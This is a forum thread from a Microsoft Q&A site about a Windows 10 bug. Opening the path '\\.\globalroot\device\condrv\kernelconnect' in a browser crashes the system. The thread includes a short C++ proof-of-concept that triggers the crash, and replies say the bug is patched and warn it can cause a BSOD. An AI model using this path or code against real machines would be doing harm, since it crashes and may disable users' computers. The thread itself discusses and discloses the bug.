Windows crash when navigate '\\.\globalroot\device\condrv\kernelconnect' on edge/chrome/firefox

轩 龙 6 Reputation points
2021-01-19T08:01:37.747+00:00

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GetFileAttributesExW -> CdpDispatchCleanup

   #include <iostream>  
   #include <Windows.h>  
      
   int main()  
   {  
       WCHAR fileName[] = L"\\\\.\\globalroot\\device\\condrv\\kernelconnect";  
       WIN32_FILE_ATTRIBUTE_DATA data;  
       GetFileAttributesEx(fileName, GetFileExInfoStandard, &data);  
   }  
Windows 10
Windows 10
A Microsoft operating system that runs on personal computers and tablets.
10,667 questions
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6 answers

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  1. 12X 1 Reputation point
    2022-03-01T08:48:01.753+00:00

    Its patched now by microsoft

    0 comments No comments

  2. 12X 1 Reputation point
    2022-03-01T08:47:35.957+00:00

    Its patched now by microsoft

    0 comments No comments

  3. Rohit Bhattacharya 1 Reputation point
    2021-05-29T13:46:34.957+00:00

    but you can try it on a vm if you want to


  4. Rohit Bhattacharya 1 Reputation point
    2021-05-29T13:45:24.823+00:00

    please do not try that on a real machine coz if you do so then the computer will get BSOD and it will be unbootable


  5. UT3 CTF 6 Reputation points
    2021-01-20T16:50:13.91+00:00

    A random user's morning:

    • ah, what a good morning! let's make a cup of coffee, open a browser and go to, let's say, \.\globalroot\device\condrv\kernelconnect, because I'm just curious what's going to happen since I never tried this before.
    1 person found this answer helpful.